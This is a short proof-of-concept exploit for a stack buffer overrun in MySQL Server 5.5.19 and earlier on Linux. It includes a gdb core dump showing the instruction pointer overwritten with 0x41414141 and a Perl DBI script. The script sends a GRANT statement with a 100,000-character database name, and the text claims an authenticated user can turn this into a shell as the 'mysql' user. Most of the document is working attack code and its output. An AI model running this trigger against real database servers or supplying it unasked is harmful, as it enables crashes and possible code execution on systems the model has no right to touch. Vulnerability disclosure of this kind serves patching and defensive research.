MySQL (Linux) - Stack Buffer Overrun (PoC)

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 MySQL Server exploitable stack based overrun
 Ver 5.5.19-log for Linux and below (tested with Ver 5.1.53-log for suse-linux-gnu too)
 unprivileged user (any account (anonymous account?), post auth)
 as illustrated below the instruction pointer is overwritten with 0x41414141
 bug found by Kingcope
 this will yield a shell as the user 'mysql' when properly exploited
 
mysql@linux-lsd2:/root> gdb -c /var/lib/mysql/core
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Missing separate debuginfo for the main executable file
Try: zypper install -C "debuginfo(build-id)=768fdbea8f1bf1f7cfb34c7f532f7dd0bdd76803"
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Core was generated by `/usr/local/mysql/bin/mysqld --log=/tmp/mysqld.log'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
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  use strict;
  use DBI();

  # Connect to the database.
  my $dbh = DBI->connect("DBI:mysql:database=test;host=192.168.2.3;",
                         "user", "secret",
                         {'RaiseError' => 1});

  $a ="A" x 100000;
  my $sth = $dbh->prepare("grant file on $a.* to 'user'\@'%' identified by 'secret';");
  $sth->execute();
  
  # Disconnect from the database.
  $dbh->disconnect();